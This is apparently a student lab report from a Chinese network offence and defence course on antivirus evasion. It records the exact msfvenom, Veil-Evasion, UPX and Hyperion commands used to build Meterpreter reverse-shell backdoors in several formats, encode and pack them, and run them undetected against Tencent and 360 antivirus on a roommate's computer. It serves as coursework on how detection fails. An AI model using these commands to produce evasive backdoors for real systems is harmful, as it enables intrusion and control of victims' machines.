20165309 《网络对抗技术》实验三:免杀原理与实践

20165309 《网络对抗技术》实验三:免杀原理与实践



1.基础问题回答

(1)杀软是如何检测出恶意代码的?

  • 基于特征:恶意代码中通常会有一段特征码,若是杀软检测到有程序包含的特征码与它的特征码库的代码相匹配,就会把该程序看成恶意软件。
  • 基于行为:经过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,并且比较特殊。因此当一个程序在运行时,杀软会监视其行为,若是发现了这种特殊的行为,则会把它当成恶意软件。

(2)免杀是作什么?

  • 经过一些特殊的手段,让安插的后门不被杀软检测到。

(3)免杀的基本方法有哪些?

  • 加壳、用encode进行编码、基于payload从新编译生成可执行文件、用其余语言进行重写再编译(veil-evasion)、尽可能使用反弹式链接、使用隧道技术、加密通信数据、加入混淆做用的正常功能代码......

(4)开启杀软能绝对防止电脑中恶意代码吗?

  • 作完本次实验就知道了这个问题的答案是不能。

返回目录php


2.实验总结与体会

(1)遇到的问题与解决

  • 问题:安装veil-evasion后开机报错:
  • 解决方案:打开虚拟机设置->处理器->检查下虚拟化引擎下面是否有被勾选->取消全部勾选->肯定,再打开虚拟机就没事了~

(2)实验感觉

本次实验中,对我来讲最困难的两件事就是veil的安装和任务二的实现免杀T-T,其余内容按照实验指导都很容易理解和实现。实验告诉了我,杀软并不可信,有些后门程序能够躲过它们的检测并对咱们产生威胁,因此安全意识相当重要。(PS.经过实验真心以为查杀方和攻击方都挺不容易的。。)java

返回目录python


3.实践过程记录

(0)准备工做

  • Kali的IP:10.0.0.127
  • 安装Veil-Evasion,亲测克隆安装的成功率会大一些:git

    sudo apt-get -y install git  //安装git
    
    git clone https://github.com/Veil-Framework/Veil-Evasion.git    //git命令行下载Veil Evasion
    
    mv Veil-Evasion /opt   //把它移动到opt目录下(可选)
    
    cd /opt/Veil-Evasion/  //进入Veil Evasion所在目录
    
    bash setup/setup.sh -s  //启动setup脚本开始安装

(1)正确使用msf编码器,msfvenom生成如jar之类的其余文件,veil-evasion,加壳工具,使用shellcode编程

① 正确使用msf编码器
  • 使用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.127 LPORT=5309 -f exe > 5309_backdoor.exe生成后门程序。(同实验二)
  • 上传至http://www.virscan.org/来检测下有多少杀软能够将其查杀出来。
  • 上传至https://www.virustotal.com/也检测一下。
  • 能够看到,这种方式造成的后门免杀效果不好,因此,咱们来尝试一下屡次编码:
    • 输入指令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=10.0.0.127 LPORT=5309 -f exe > 5309time10.exe
    • 该指令中,-e选择要用的编码器,-i用于设置编码次数,-b设定payload中须要去除的字符。
  • 再检测一下:
  • 可见,屡次编码并无起到什么显著的效果,不能实现免杀。
② msfvenom生成如jar之类的其余文件
  • msfvenom生成jar文件
    • 指令:msfvenom -p java/meterpreter/reverse_tcp LHOST=10.0.0.127 LPORT=5309 x> wsj_jar.jar
    • 检测:

  • msfvenom生成python文件
    • 指令:msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.0.127 LPORT=5309 -f raw > wsj_py.py
      github

    • 检测:

  • msfvenom生成php文件
    • 指令:msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.0.127 LPORT=5309 x> wsj_php.php
    • 检测:
③ veil-evasion
  • veil->use evasion进入Evil-Evasion配置界面:

  • 设置反弹链接IP和端口:
  • 输入generate生成文件,设置输出的payload名字:
  • 它的路径是这个:
  • 进行检测:

④ 加壳工具
  • 压缩壳UPX
    • 指令:upx wsjpayload.exe -o wsjpayload.upxed.exe
    • 检测:

  • 加密壳Hyperion
    • 将生成的upx文件拷贝到目录/usr/share/windows-binaries/hyperion/,并进入。
    • 输入指令进行加壳:wine hyperion.exe -v wsj_upxed.exe wsj_upxed_Hyperion.exe
    • 检测:

  • 加壳的免杀效果其实也很不理想,反而可能会由于壳的特征被更多杀软检测到。
⑤ 使用shellcode编程
  • 使用msf生成一段c语言格式的shellcode数组:msfvenom -p windows/meterpreter/reverse_http LHOST=10.0.0.127 LPORT=5309 -f c
  • 代码:
  • 交叉编译:i686-w64-mingw32-g++ 5309.c -o 5309.exe
  • 回连成功:
  • 测试:


(2)经过组合应用各类技术实现恶意代码免杀

  • 采用加壳+迭代+C语言调用bloxor编码的shellcode的方式免杀成功并可回连:
    • 生成Shellcode:msfvenom -p windows/meterpreter/reverse_tcp -e x86/bloxor LHOST=10.0.0.127 LPORT=5309 -f c
    • 迭代,加压缩壳;
    • 将加入Shellcode的c语言程序在vc下编译;
    • 实现回连:
    • 免杀效果:(Win7 x64+腾讯电脑管家13.3.20237.212)

(3) 用另外一电脑实测,在杀软开启的状况下,可运行并回连成功,注明电脑的杀软名称与版本

  • Win7 x64 + 360安全卫士11.5.0.2002
  • 回连成功:
  • 在舍友电脑上实现免杀:

返回目录shell

相关文章
相关标签/搜索